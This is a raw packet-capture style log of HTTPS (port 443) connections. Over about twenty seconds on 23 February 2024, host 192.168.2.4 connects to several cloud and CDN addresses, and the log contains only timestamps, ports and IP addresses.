Feb 23, 2024 11:49:29.423547029 CET	49767	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:29.423573017 CET	443	49767	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:29.430099964 CET	49772	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.430179119 CET	443	49772	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.430268049 CET	49772	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.430629969 CET	49772	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.430665016 CET	443	49772	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.472933054 CET	443	49769	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.472951889 CET	443	49769	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.473025084 CET	49769	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.473031998 CET	443	49769	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.473090887 CET	49769	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.473814964 CET	49769	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.473853111 CET	443	49769	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.479595900 CET	443	49770	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.479618073 CET	443	49770	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.479666948 CET	49770	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.479680061 CET	443	49770	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.480021954 CET	443	49770	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.480082035 CET	49770	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.480716944 CET	49770	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.480725050 CET	443	49770	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.515860081 CET	443	49761	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:29.516021967 CET	443	49761	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:29.516156912 CET	49761	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:29.516922951 CET	49761	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:29.516942978 CET	443	49761	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:29.642707109 CET	49773	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:29.642736912 CET	443	49773	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:29.642810106 CET	49773	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:29.643053055 CET	49773	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:29.643064976 CET	443	49773	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:29.680465937 CET	443	49771	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.680918932 CET	49771	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.680948973 CET	443	49771	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.681427002 CET	443	49771	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.681794882 CET	49771	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.681876898 CET	443	49771	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.681937933 CET	49771	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.707828045 CET	443	49772	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.708118916 CET	49772	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.708175898 CET	443	49772	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.708911896 CET	443	49772	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.709310055 CET	49772	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.709423065 CET	443	49772	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.709425926 CET	49772	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.725908041 CET	443	49771	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.749924898 CET	443	49772	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.755944967 CET	49772	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.808633089 CET	443	49768	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:29.808670998 CET	443	49768	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:29.808713913 CET	443	49768	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:29.808763981 CET	49768	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:29.808798075 CET	443	49768	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:29.808814049 CET	443	49768	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:29.808851004 CET	49768	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:29.818213940 CET	49768	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:29.818229914 CET	443	49768	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:29.834675074 CET	443	49773	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:29.834935904 CET	49773	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:29.834949970 CET	443	49773	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:29.838094950 CET	443	49773	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:29.838337898 CET	49773	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:29.838505983 CET	49773	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:29.838591099 CET	443	49773	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:29.838691950 CET	49773	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:29.838706017 CET	443	49773	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:29.856457949 CET	443	49771	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.856585979 CET	443	49771	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.856735945 CET	49771	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.857692957 CET	49771	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.857733965 CET	443	49771	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.882724047 CET	443	49772	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.882791996 CET	443	49772	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.882858038 CET	49772	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.882900953 CET	443	49772	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.882936954 CET	443	49772	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.883078098 CET	49772	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.883410931 CET	49772	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.883439064 CET	443	49772	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.893397093 CET	49773	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:30.028023958 CET	443	49773	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:30.028327942 CET	443	49773	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:30.028424025 CET	49773	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:30.128199100 CET	49773	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:30.128225088 CET	443	49773	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:30.135427952 CET	49774	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:30.135520935 CET	443	49774	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:30.135603905 CET	49774	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:30.135976076 CET	49774	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:30.136007071 CET	443	49774	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:30.179860115 CET	49775	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:30.179903030 CET	443	49775	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:30.179963112 CET	49775	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:30.180378914 CET	49775	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:30.180404902 CET	443	49775	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:30.196959972 CET	443	49741	142.251.40.164	192.168.2.4
Feb 23, 2024 11:49:30.197117090 CET	443	49741	142.251.40.164	192.168.2.4
Feb 23, 2024 11:49:30.197213888 CET	49741	443	192.168.2.4	142.251.40.164
Feb 23, 2024 11:49:30.245671034 CET	49741	443	192.168.2.4	142.251.40.164
Feb 23, 2024 11:49:30.245688915 CET	443	49741	142.251.40.164	192.168.2.4
Feb 23, 2024 11:49:30.407993078 CET	443	49774	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:30.454055071 CET	49774	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:30.461659908 CET	443	49775	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:30.477962971 CET	49775	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:30.477981091 CET	443	49775	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:30.478148937 CET	49774	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:30.478183031 CET	443	49774	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:30.478944063 CET	443	49774	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:30.479275942 CET	443	49775	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:30.479537964 CET	49774	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:30.479640961 CET	443	49774	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:30.479876995 CET	49775	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:30.480123043 CET	443	49775	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:30.480221987 CET	49774	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:30.480253935 CET	49775	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:30.525916100 CET	443	49775	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:30.525921106 CET	443	49774	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:30.601911068 CET	443	49774	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:30.602138996 CET	443	49774	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:30.602204084 CET	49774	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:30.624712944 CET	49774	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:30.624751091 CET	443	49774	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:30.637203932 CET	49777	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:30.637249947 CET	443	49777	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:30.637306929 CET	49777	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:30.642810106 CET	49777	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:30.642827988 CET	443	49777	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:30.727327108 CET	443	49775	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:30.727390051 CET	443	49775	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:30.727438927 CET	443	49775	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:30.727478027 CET	49775	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:30.727502108 CET	443	49775	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:30.727518082 CET	49775	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:30.727539062 CET	49775	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:30.727582932 CET	443	49775	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:30.727608919 CET	443	49775	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:30.727638006 CET	49775	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:30.727648020 CET	443	49775	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:30.727658987 CET	49775	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:30.727674961 CET	49775	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:30.769722939 CET	443	49775	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:30.769860029 CET	443	49775	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:30.769928932 CET	49775	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:30.769953012 CET	49775	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:30.845895052 CET	49775	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:30.845921040 CET	443	49775	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:30.915958881 CET	443	49777	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:30.916445971 CET	49777	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:30.916517973 CET	443	49777	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:30.917021036 CET	443	49777	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:30.917736053 CET	49777	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:30.917831898 CET	443	49777	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:30.917902946 CET	49777	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:30.961910009 CET	443	49777	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:30.964905977 CET	49777	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:31.093647957 CET	443	49777	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:31.093874931 CET	443	49777	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:31.093960047 CET	49777	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:31.121340990 CET	49777	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:31.121371031 CET	443	49777	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:39.389532089 CET	49785	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:39.389621019 CET	443	49785	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:39.389749050 CET	49785	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:39.391366005 CET	49785	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:39.391396046 CET	443	49785	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:39.403695107 CET	49786	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:39.403724909 CET	443	49786	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:39.403789997 CET	49786	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:39.407130003 CET	49786	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:39.407145023 CET	443	49786	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:39.575752020 CET	443	49785	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:39.576848984 CET	49785	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:39.576905966 CET	443	49785	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:39.577620029 CET	443	49785	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:39.578105927 CET	49785	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:39.578201056 CET	443	49785	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:39.624699116 CET	49785	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:39.688905954 CET	443	49786	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:39.689475060 CET	49786	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:39.689497948 CET	443	49786	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:39.689994097 CET	443	49786	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:39.691931963 CET	49786	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:39.692013025 CET	443	49786	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:39.692394972 CET	49786	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:39.737943888 CET	443	49786	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:39.945593119 CET	443	49786	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:39.945626974 CET	443	49786	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:39.945703983 CET	49786	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:39.945713997 CET	443	49786	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:39.945815086 CET	49786	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:39.946584940 CET	49786	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:39.946600914 CET	443	49786	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:40.221961021 CET	49787	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:40.222009897 CET	443	49787	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:40.222229958 CET	49787	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:40.223356009 CET	49788	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:40.223414898 CET	443	49788	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:40.223557949 CET	49788	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:40.223725080 CET	49787	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:40.223756075 CET	443	49787	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:40.224020004 CET	49788	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:40.224055052 CET	443	49788	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:40.538089037 CET	443	49787	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:40.538520098 CET	49787	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:40.538583994 CET	443	49787	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:40.539144993 CET	443	49787	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:40.539284945 CET	443	49788	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:40.539505005 CET	49788	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:40.539541006 CET	443	49788	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:40.539746046 CET	49787	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:40.539830923 CET	443	49787	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:40.539923906 CET	49787	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:40.540021896 CET	443	49788	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:40.540421963 CET	49788	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:40.540509939 CET	443	49788	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:40.540846109 CET	49788	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:40.581937075 CET	443	49788	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:40.581945896 CET	443	49787	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:40.719383955 CET	443	49788	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:40.719587088 CET	443	49788	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:40.719697952 CET	49788	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:40.719784021 CET	443	49787	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:40.719970942 CET	443	49787	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:40.720041990 CET	49787	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:40.726151943 CET	49788	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:40.726196051 CET	443	49788	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:40.736864090 CET	49787	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:40.736901999 CET	443	49787	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:40.745848894 CET	49789	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:40.745892048 CET	443	49789	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:40.746004105 CET	49789	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:40.746884108 CET	49789	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:40.746917963 CET	443	49789	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:40.747592926 CET	49790	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:40.747637033 CET	443	49790	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:40.747742891 CET	49790	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:40.748191118 CET	49790	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:40.748218060 CET	443	49790	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:41.046406031 CET	443	49789	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:41.046751976 CET	49789	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:41.046811104 CET	443	49789	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:41.047430038 CET	443	49789	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:41.047909975 CET	49789	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:41.048043966 CET	443	49789	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:41.048100948 CET	49789	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:41.048712015 CET	443	49790	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:41.048939943 CET	49790	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:41.048964977 CET	443	49790	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:41.049459934 CET	443	49790	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:41.049951077 CET	49790	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:41.050041914 CET	443	49790	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:41.050156116 CET	49790	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:41.090148926 CET	49789	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:41.090183973 CET	443	49789	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:41.097913980 CET	443	49790	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:41.226049900 CET	443	49790	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:41.226233006 CET	443	49790	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:41.226315022 CET	49790	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:41.227647066 CET	49790	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:41.227710962 CET	443	49790	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:41.231374025 CET	443	49789	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:41.231503963 CET	443	49789	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:41.231575966 CET	49789	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:41.233330965 CET	49789	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:41.233351946 CET	443	49789	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:44.574203968 CET	49791	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:44.574280024 CET	443	49791	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:44.574404001 CET	49791	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:44.575114965 CET	49792	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:44.575136900 CET	443	49792	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:44.575197935 CET	49792	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:44.576493025 CET	49792	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:44.576528072 CET	443	49792	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:44.576853037 CET	49791	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:44.576870918 CET	443	49791	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:44.794305086 CET	443	49791	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:44.795231104 CET	443	49792	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:44.795445919 CET	49791	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:44.795495033 CET	443	49791	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:44.796000004 CET	443	49791	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:44.801631927 CET	49792	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:44.801647902 CET	443	49792	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:44.802185059 CET	443	49792	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:44.802412033 CET	49791	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:44.802580118 CET	443	49791	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:44.806241035 CET	49792	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:44.806332111 CET	443	49792	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:44.806519032 CET	49791	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:44.806565046 CET	443	49791	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:44.857192039 CET	49792	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:45.410440922 CET	443	49791	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:45.410511971 CET	443	49791	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:45.410661936 CET	443	49791	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:45.410845041 CET	49791	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:45.415642023 CET	49791	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:45.415683985 CET	443	49791	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:48.437695026 CET	443	49735	18.238.49.52	192.168.2.4
Feb 23, 2024 11:49:48.437868118 CET	443	49735	18.238.49.52	192.168.2.4
Feb 23, 2024 11:49:48.437923908 CET	49735	443	192.168.2.4	18.238.49.52
Feb 23, 2024 11:49:48.678675890 CET	49735	443	192.168.2.4	18.238.49.52
Feb 23, 2024 11:49:48.678699017 CET	443	49735	18.238.49.52	192.168.2.4
Feb 23, 2024 11:49:48.716037989 CET	49796	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:48.716077089 CET	443	49796	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:48.716192961 CET	49796	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:48.716744900 CET	49797	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:48.716770887 CET	443	49797	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:48.716888905 CET	49797	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:48.717573881 CET	49798	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:48.717606068 CET	443	49798	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:48.717672110 CET	49798	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:48.718123913 CET	49799	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:48.718169928 CET	443	49799	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:48.718261957 CET	49799	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:48.718588114 CET	49800	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:48.718628883 CET	443	49800	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:48.718811989 CET	49800	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:48.719502926 CET	49801	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:48.719523907 CET	443	49801	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:48.719633102 CET	49801	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:48.720267057 CET	49800	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:48.720287085 CET	443	49800	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:48.720915079 CET	49799	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:48.720952034 CET	443	49799	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:48.721524000 CET	49798	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:48.721538067 CET	443	49798	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:48.721841097 CET	49797	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:48.721853971 CET	443	49797	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:48.722184896 CET	49796	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:48.722198963 CET	443	49796	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:48.725209951 CET	49801	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:48.725225925 CET	443	49801	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.016081095 CET	443	49799	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.016640902 CET	49799	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.016681910 CET	443	49799	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.017673969 CET	443	49799	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.017740965 CET	49799	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.019668102 CET	49799	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.019735098 CET	443	49799	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.020025015 CET	49799	443	192.168.2.4	13.107.246.40
